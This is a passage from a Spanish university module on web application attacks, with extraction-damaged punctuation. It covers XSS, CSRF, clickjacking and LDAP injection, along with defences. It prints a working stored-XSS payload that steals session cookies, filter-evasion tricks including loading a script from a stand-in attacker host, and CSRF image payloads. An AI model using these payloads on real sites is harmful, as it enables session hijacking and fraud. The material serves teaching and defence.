to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
